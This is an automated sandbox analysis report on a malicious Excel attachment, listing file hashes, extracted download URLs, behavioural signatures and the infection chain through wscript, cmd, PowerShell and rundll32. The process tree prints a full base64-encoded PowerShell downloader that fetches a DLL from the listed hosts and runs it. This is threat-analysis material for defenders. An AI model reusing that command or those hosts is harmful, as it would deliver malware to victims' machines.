Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
21/11/2024, 00:00
Behavioral task
behavioral1
Sample
077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls
Resource
win10v2004-20241007-en
General
-
Target
077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls
-
Size
138KB
-
MD5
240e23646f7eea10d96c6d094abae48a
-
SHA1
8f163824581c9e8eca26aa43708816b1db7b0c3b
-
SHA256
077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da
-
SHA512
aace2d47cba74b058506cad53fe38cef310bed91c24e98f8581b07101c73af452a07b2499b595135f855e899af6e0604b2e8a4efcf88b526f73dbb05305443ae
-
SSDEEP
3072:uKehv7q2Pjx45uoDGTj+5xtekEvi8/dgwa3Wm47CdX5gVvhoxzYLasdJXIchFL:lehv7q2Pjx45uoDGTj+5xtFEvi8/dgwh
Malware Config
Extracted
http://midnightsilvercrafters.com/store/wBjNOUw/
http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/
https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/
https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/
https://servilogic.net/b/14hqrdyP0Z3WsbQib8/
https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/
http://webmail.glemedical.com/wp-content/J1M2xxodH/
http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/
https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/
https://fortiuspharma.com/y6krss/EGm347cqj5/
https://garyjharris.com/cgi-bin/0hH/
https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/
https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2776 2956 wscript.exe 29 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61}\2.0\0\win32 EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61}\2.0\FLAGS\ = "6" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61}\2.0\HELPDIR EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61}\2.0\FLAGS EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\TypeLib\{1DB0944C-1601-496C-9C12-509C65D8FB61}\2.0\FLAGS EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Wow6432Node EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2956 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2880 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2956 EXCEL.EXE 2956 EXCEL.EXE 2956 EXCEL.EXE 2956 EXCEL.EXE 2956 EXCEL.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2956 wrote to memory of 2776 2956 EXCEL.EXE 30 PID 2956 wrote to memory of 2776 2956 EXCEL.EXE 30 PID 2956 wrote to memory of 2776 2956 EXCEL.EXE 30 PID 2956 wrote to memory of 2776 2956 EXCEL.EXE 30 PID 2776 wrote to memory of 2520 2776 wscript.exe 31 PID 2776 wrote to memory of 2520 2776 wscript.exe 31 PID 2776 wrote to memory of 2520 2776 wscript.exe 31 PID 2776 wrote to memory of 2520 2776 wscript.exe 31 PID 2520 wrote to memory of 2880 2520 cmd.exe 33 PID 2520 wrote to memory of 2880 2520 cmd.exe 33 PID 2520 wrote to memory of 2880 2520 cmd.exe 33 PID 2520 wrote to memory of 2880 2520 cmd.exe 33 PID 2776 wrote to memory of 1388 2776 wscript.exe 34 PID 2776 wrote to memory of 1388 2776 wscript.exe 34 PID 2776 wrote to memory of 1388 2776 wscript.exe 34 PID 2776 wrote to memory of 1388 2776 wscript.exe 34 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36 PID 1388 wrote to memory of 1900 1388 cmd.exe 36
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\oue4hjld.vbs2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\bhnasleil.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1388 -
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls4⤵
- System Location Discovery: System Language Discovery
PID:1900
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD50f96848827a2960f874bcf613ce1e72c
SHA1d936a765910adaf627fc6459716847fd87595ea2
SHA2569e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e
SHA51200f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862
-
Filesize
604B
MD5a0e5c8b0ad3da42bf6952871a41bf5e8
SHA1cd2106ebaf43d596057457e87cf4c8482e246005
SHA2565c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a
SHA512c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725